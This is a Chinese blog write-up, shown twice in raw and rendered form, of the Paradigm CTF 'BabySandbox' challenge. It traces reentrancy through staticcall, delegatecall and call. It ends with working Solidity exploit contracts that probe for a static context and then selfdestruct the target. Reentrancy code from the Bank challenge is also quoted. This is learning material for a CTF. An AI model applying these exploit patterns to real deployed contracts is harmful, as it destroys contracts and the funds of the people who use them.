Paradigm CTF-StaticCall

本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。

# Paradigm CTF-StaticCall 本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ## 题目介绍: ![image20210705200543555.png](https://img.learnblockchain.cn/attachments/2021/07/8hrcoUEu60e30449b5d06.png) 简单来讲,就是将合约babysandbox销毁掉,从而满足:`extcodesize(sload(sandbox.slot)==0`这一条件。:fish: ## 合约分析: 本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。 - setup合约:给出一个判据,即`extcodesize(sload(sandbox.slot)==0`,来判断是否完成挑战 - babysandbox合约:只有一个方法,`run(address)`,这个方法有如下特点: :triangular_flag_on_post:没有`nonReentrancy`修饰符,可以重进入 :triangular_flag_on_post:合约中存在`delegateCall,staticCall,call`,且合约的主要逻辑也是通过`delegateCall,staticCall,call`来实现的 ## 逻辑分析: 这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。 | 远程调用位点 | 限制 | 状态改变 | | ----------------------- | --------------------------- | --------------------- | | `delegatecall(code)` | `msg.sender==address(this)` | 0=>revert,1=>return | | `staticcall(address())` | NA | 0=>revert | | `call(address())` | NA | 0=>codecopy,1=>return | :fast_forward:从前向后分析: 简单看,我们的外部合约通过调用`exploit()`方法,调用`babysandbox.run(code)`方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断`msg.sender == address(this)`,即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的`msg.sender`是code合约地址,判断为否。然后进入`staticcall(address(this))`部分,它重进入自己的合约内,再次调用`babysandbox.run(code)`方法。此时需注意,由于是重进入,故此时的`msg.sender`与`address(this)`相等。故经过判定,会进入到`delegatecall(code)`的逻辑中。在`delegatecall(code)`逻辑中,实际上是调用调用外部合约code的`fallback()`方法,注意此时为`staticcall`的调用环境,故此时应该让其直接返回`success`即可。`staticcall(address(this))`通过后,会进入`call(address(this))`调用,同样的参数,同样的逻辑过程。只是需要在`code.fallback()`函数中,不直接返回,而是执行`selfdestruct(tx.origin)`来销毁babysandbox合约。 ```flow st=>start: code.exploit() op=>operation: babysandbox.run(code) delegate=>operation: delegatecall(code) static=>operation: staticcall or call(address(this)) fallback=>operation: code.fallback() selfdestruct=>operation: selfdestruct() cond=>condition: msg.sender == address(this) cond2=>condition: success? cond3=>condition: staticcall or call e=>end: revert revert=>end: revert return=>operation: return call=>operation: call(address(this)) st->op->cond cond(yes)->delegate cond(no)->static static->op delegate->fallback fallback->cond3 cond3(yes)->cond2 cond3(no)->selfdestruct->cond2 cond2(yes)->return cond2(no)->revert ``` ![image20210706094330303.png](https://img.learnblockchain.cn/attachments/2021/07/aVxnkS2H60e3b5d3091c8.png) :cat:注意点1:对于call调用的参数理解 ```assembly call(0x4000, address(), 0, 0, calldatasize(), 0, 0) => gas 数量= 0x4000 目标地址: babysandbox合约地址 参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata 返回值拷贝0 ``` 结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。 :cat:注意点2:对于`delegatecall`调用的理解 由于在执行`code.fallback()`时,是在`delegatecall`的上下文环境下执行。故需要注意`delegatecall`的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。 :fast_forward:整理成调用栈 故我们将上述流程图,整理成调用栈为: ```assembly code.exploit() ->babysandbox.run(code) ->babysandbox.staticcall(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() return //满足staticcall的要求,不能改变任何地址,合约的状态 ->babysandbox.call(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() selfdestruct //满足题目要求,让babysandbox合约自毁 ``` 此时,我们发现问题的关键在于`code.fallback()`方法,其需要在`staticcall和call`中执行不同的逻辑。我们可以写出如下的伪代码: ```js pragma solidity 0.7.0; import "./Setup.sol"; contract CODE1 { Setup public setup; BabySandbox public babysandbox; constructor(address _setup) public { setup = Setup(_setup); babysandbox = setup.sandbox(); } fallback() external payable{ if (something) { return; } else { selfdestruct(tx.origin); } } function exploit() public { babysandbox.run(address(this)); } } ``` ## 问题简化: 此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用? 当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法: ### 思路1:全局变量 使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如*Paradigm CTF-银行*中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在`staticcall`的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。 ```js uint reentry = 1; function balanceOf(address who) public returns (uint){ // withdrawToken 1 [0, 1] // closeAcc [0, 0] // depositToken 1 [0, 1] // closeAcc [0, 0] // depositToken 2 [1, 0] // withdrawToken 2 [0, -1] if (reentry == 1) { reentry = 0; Bank(bank).closeLastAccount(); reentry = 2; Bank(bank).depositToken(0, address(this), 0); } else if (reentry == 2) { Bank(bank).closeLastAccount(); reentry = 0; } return 0; } ``` ### 思路2:Gas数量 根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行`staticcall`再执行`call`,故如果我们通过判断`gasleft()`,gas量多的为第一次执行,即`staticcall`,gas量少的为第二次执行,即`call` ```js fallback() external payable{ if (gasleft() > _value) { return; } else { selfdestruct(tx.origin); } } ``` 但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在`staticcall`还是`call`,它每次调用的gas总量都是`0x4000`. ### 思路3:staticcall与call本质区别 通过EIP-214得知,`staticcall`的本质是严禁修改任何地址,合约的状态,即不允许使用`create,create2,LOG0-4,sstore,selfdestruct`等OPCODE以及ETH的转账。而`call`则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,`call`一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。 $$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv x\\ $$ 如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1 ```js pragma solidity 0.7.0; import "./Setup.sol"; contract CODE3 { Setup public setup; BabySandbox public babysandbox; constructor(address _setup) public { setup = Setup(_setup); babysandbox = setup.sandbox(); } fallback() external payable{ bool flag; assembly{ let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址 flag := call(gas(),code2_addr,0,0,0,0,0) } if (!flag) { return; } else { selfdestruct(tx.origin); } } function exploit() public { babysandbox.run(address(this)); } } contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 fallback() external payable{ selfdestruct(tx.origin); } } ```

Paradigm CTF-StaticCall

本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993

题目介绍:

简单来讲,就是将合约babysandbox销毁掉,从而满足:extcodesize(sload(sandbox.slot)==0这一条件。:fish:

合约分析:

本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。

  • setup合约:给出一个判据,即extcodesize(sload(sandbox.slot)==0,来判断是否完成挑战
  • babysandbox合约:只有一个方法,run(address),这个方法有如下特点:

    :triangular_flag_on_post:没有nonReentrancy修饰符,可以重进入

    :triangular_flag_on_post:合约中存在delegateCall,staticCall,call,且合约的主要逻辑也是通过delegateCall,staticCall,call来实现的

逻辑分析:

这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。

远程调用位点 限制 状态改变
delegatecall(code) msg.sender==address(this) 0=>revert,1=>return
staticcall(address()) NA 0=>revert
call(address()) NA 0=>codecopy,1=>return

:fast_forward:从前向后分析:

简单看,我们的外部合约通过调用exploit()方法,调用babysandbox.run(code)方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断msg.sender == address(this),即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender是code合约地址,判断为否。然后进入staticcall(address(this))部分,它重进入自己的合约内,再次调用babysandbox.run(code)方法。此时需注意,由于是重进入,故此时的msg.senderaddress(this)相等。故经过判定,会进入到delegatecall(code)的逻辑中。在delegatecall(code)逻辑中,实际上是调用调用外部合约code的fallback()方法,注意此时为staticcall的调用环境,故此时应该让其直接返回success即可。staticcall(address(this))通过后,会进入call(address(this))调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()函数中,不直接返回,而是执行selfdestruct(tx.origin)来销毁babysandbox合约。

st=>start: code.exploit()
op=>operation: babysandbox.run(code)
delegate=>operation: delegatecall(code)
static=>operation: staticcall or call(address(this))
fallback=>operation: code.fallback()
selfdestruct=>operation: selfdestruct()
cond=>condition: msg.sender == address(this)
cond2=>condition: success?
cond3=>condition: staticcall or call
e=>end: revert
revert=>end: revert
return=>operation: return
call=>operation: call(address(this))

st->op->cond
cond(yes)->delegate
cond(no)->static
static->op
delegate->fallback
fallback->cond3
cond3(yes)->cond2
cond3(no)->selfdestruct->cond2
cond2(yes)->return
cond2(no)->revert

:cat:注意点1:对于call调用的参数理解

call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
=> 
gas 数量= 0x4000
目标地址: babysandbox合约地址
参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata
返回值拷贝0

结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。

:cat:注意点2:对于delegatecall调用的理解

由于在执行code.fallback()时,是在delegatecall的上下文环境下执行。故需要注意delegatecall的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。

:fast_forward:整理成调用栈

故我们将上述流程图,整理成调用栈为:

code.exploit()
    ->babysandbox.run(code)
        ->babysandbox.staticcall(address(this))
            ->babysandbox.run(code)
                ->babysandbox.delegatecall(code)
                    ->code.fallback()
                        return //满足staticcall的要求,不能改变任何地址,合约的状态
        ->babysandbox.call(address(this))
            ->babysandbox.run(code)
                ->babysandbox.delegatecall(code)
                    ->code.fallback()
                        selfdestruct //满足题目要求,让babysandbox合约自毁

此时,我们发现问题的关键在于code.fallback()方法,其需要在staticcall和call中执行不同的逻辑。我们可以写出如下的伪代码:

pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE1 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{

        if (something) {
            return;
        } else {
            selfdestruct(tx.origin);
        }
    }
    function exploit() public {
        babysandbox.run(address(this));
    }
}

问题简化:

此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用?

当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法:

思路1:全局变量

使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如Paradigm CTF-银行中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在staticcall的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。

uint reentry = 1;
function balanceOf(address who) public returns (uint){
        // withdrawToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 2  [1, 0]
        // withdrawToken 2  [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;

    }

思路2:Gas数量

根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行staticcall再执行call,故如果我们通过判断gasleft(),gas量多的为第一次执行,即staticcall,gas量少的为第二次执行,即call

fallback() external payable{

    if (gasleft() > _value) {
        return;
    } else {
        selfdestruct(tx.origin);
    }
}

但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在staticcall还是call,它每次调用的gas总量都是0x4000.

思路3:staticcall与call本质区别

通过EIP-214得知,staticcall的本质是严禁修改任何地址,合约的状态,即不允许使用create,create2,LOG0-4,sstore,selfdestruct等OPCODE以及ETH的转账。而call则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。

$$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv x\ $$

如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1

pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE3 {
    Setup public setup;
    BabySandbox public babysandbox;
    constructor(address _setup) public {
        setup = Setup(_setup);
        babysandbox = setup.sandbox();
    }
    fallback() external payable{
        bool flag;
        assembly{
            let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址
            flag := call(gas(),code2_addr,0,0,0,0,0)
        }
        if (!flag) {
            return;
        } else {
            selfdestruct(tx.origin);
        }
    }
    function exploit() public {
        babysandbox.run(address(this));
    }
}
contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5
    fallback() external payable{
        selfdestruct(tx.origin);
    }
}

区块链技术网。

  • 发表于 2021-07-05 21:09
  • 阅读 ( 420 )
  • 学分 ( 12 )
  • 分类:智能合约

评论